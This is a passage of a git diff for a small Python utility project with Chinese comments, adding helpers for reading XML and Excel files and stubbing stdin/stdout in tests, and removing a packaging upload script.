+ 获取所有xml中name的值
+
+ Args:
+ file_path: 文件路径 str
+ """
+ xml_data = get_file_context(file_path)
+ root = ET.fromstring(xml_data)
+ res_list = []
+ for obj in root.findall('object'):
+ res_list.append(obj.find('name').text)
+ return res_list
+
+
+def get_file_by_suffix(dir_path, suffix):
+ """
+ 获取目录下固定后缀的文件名
+
+ Args:
+ dir_path: 目录名称 str
+ suffix: 后缀名称 str
+ """
+ xlsx_files = []
+ file_names = os.listdir(dir_path)
+ for file_name in file_names:
+ if file_name.endswith(suffix):
+ xlsx_files.append(file_name)
+ return xlsx_files
+
+
+def get_colum_content(file_path, column_index, sheet_name='Sheet1'):
+ """
+ 获取excel中
+
+ Args:
+ file_path: 文件路径 str
+ column_index: 需要查询标题的列索引,从0开始 int
+ sheet_name: sheet名称 str
+ """
+ df = pd.read_excel(file_path, sheet_name=sheet_name)
+ headers = df.columns.tolist()
+ return headers[column_index]
+
+
+def get_content(file_path, row_index, col_index, sheet_name='Sheet1'):
+ """
+ 获取excel文件具体行列的值
+
+ Args:
+ file_path: 文件路径 str
+ row_index: 需要查询的行索引,从0开始 int
+ col_index: 需要查询的列索引,从0开始 int
+ sheet_name: sheet名称 str
+ """
+ df = pd.read_excel(file_path, sheet_name)
+ first_value = df.iloc[row_index, col_index]
+ return first_value
+
+
+def get_file_by_suffix(dir_path, suffix):
+ """
+ 获取目录下固定后缀的文件名
+
+ Args:
+ dir_path: 目录名称 str
+ suffix: 后缀名称 str
+ """
+ xlsx_files = []
+ file_names = os.listdir(dir_path)
+ for file_name in file_names:
+ if file_name.endswith(suffix):
+ xlsx_files.append(file_name)
+ return xlsx_files
+
+
+def get_all_sheet_names(file_path):
+ """
+ 获取excel文件的所有sheet名称
+
+ Args:
+ file_path: 文件路径 str
+ """
+ excel_file = pd.ExcelFile(file_path)
+ sheet_names = excel_file.sheet_names
+ return sheet_names
+
+
+def get_filter_names(file_path, column_index):
+ """
+ 获取excel文件中某列的所有值分类
+
+ Args:
+ file_path: 文件路径 str
+ column_index: 需要筛选的列索引,从0开始 int
+ """
+ df = pd.read_excel(file_path)
+ column_name = df.columns[column_index]
+ # 除去残留nan值
+ df = df.dropna(subset=[column_name])
+ categories = df[column_name].unique().tolist()
+ return categories
+
+
+def get_latest_file(dir_path):
+ """
+ 获取目录下最新生成的文件路径
+
+ Args:
+ dir_path: 目录路径 str
+ """
+ latest_file = None
+ latest_ctime = 0
+ for root, dirs, files in os.walk(dir_path):
+ for file in files:
+ file_path = os.path.join(root, file)
+ ctime = os.path.getctime(file_path)
+ if ctime > latest_ctime:
+ latest_ctime = ctime
+ latest_file = file_path
+ return latest_file
diff --git a/tests/test_utils/test_input.py b/tests/test_utils/test_input.py
new file mode 100644
index 0000000..0fd292c
--- /dev/null
+++ b/tests/test_utils/test_input.py
@@ -0,0 +1,59 @@
+import io
+import sys
+
+
+def stub_stdin(testcase_inst, inputs):
+ '''
+ 输入内容
+ :param testcase_inst:
+ :param inputs:
+ :return:
+ '''
+ stdin = sys.stdin
+
+ def cleanup():
+ sys.stdin = stdin
+
+ testcase_inst.addCleanup(cleanup)
+ sys.stdin = io.StringIO(inputs)
+
+
+def stub_stdout(testcase_inst):
+ '''
+ 输出内容
+ :param testcase_inst:
+ :return:
+ '''
+ stderr = sys.stderr
+ stdout = sys.stdout
+
+ def cleanup():
+ sys.stderr = stderr
+ sys.stdout = stdout
+
+ testcase_inst.addCleanup(cleanup)
+ sys.stderr = io.StringIO()
+ sys.stdout = io.StringIO()
+
+# 用法举例
+# def test_fun():
+# x = int(input())
+# print(x + 5)
+#
+#
+# class UnitTest():
+# def test_fun(self):
+# print('请输入数字')
+# stub_stdin(self, '2\n4\n') # 依次输入2,4
+#
+# stub_stdout(self)
+# test_fun()
+# self.assertEqual(str(sys.stdout.getvalue()), '7\n')
+#
+# stub_stdout(self) # 重置输出
+# test_fun()
+# self.assertEqual(str(sys.stdout.getvalue()), '9\n')
+#
+#
+# if __name__ == '__main__':
+# unittest.main()
diff --git "a/tests/\346\234\252\346\240\207\346\263\250\345\233\276\347\211\207/down4img.jpg" "b/tests/\346\234\252\346\240\207\346\263\250\345\233\276\347\211\207/down4img.jpg"
new file mode 100644
index 0000000..0901d90
Binary files /dev/null and "b/tests/\346\234\252\346\240\207\346\263\250\345\233\276\347\211\207/down4img.jpg" differ
diff --git a/upload.sh b/upload.sh
deleted file mode 100644
index f8d9ee4..0000000
--- a/upload.sh
+++ /dev/null
@@ -1,4 +0,0 @@
-rm -rf ./dist/*
-python setup.py sdist
-python setup.py bdist_wheel
-twine upload dist/*
\ No newline at end of file
diff --git a/utils/progress.py b/utils/progress.py
deleted file mode 100644
index 7624f21..0000000
--- a/utils/progress.py
+++ /dev/null
@@ -1,6 +0,0 @@
-# 进度条
-
-
-
-# todo:进度条待完善,用于所有的方法中
-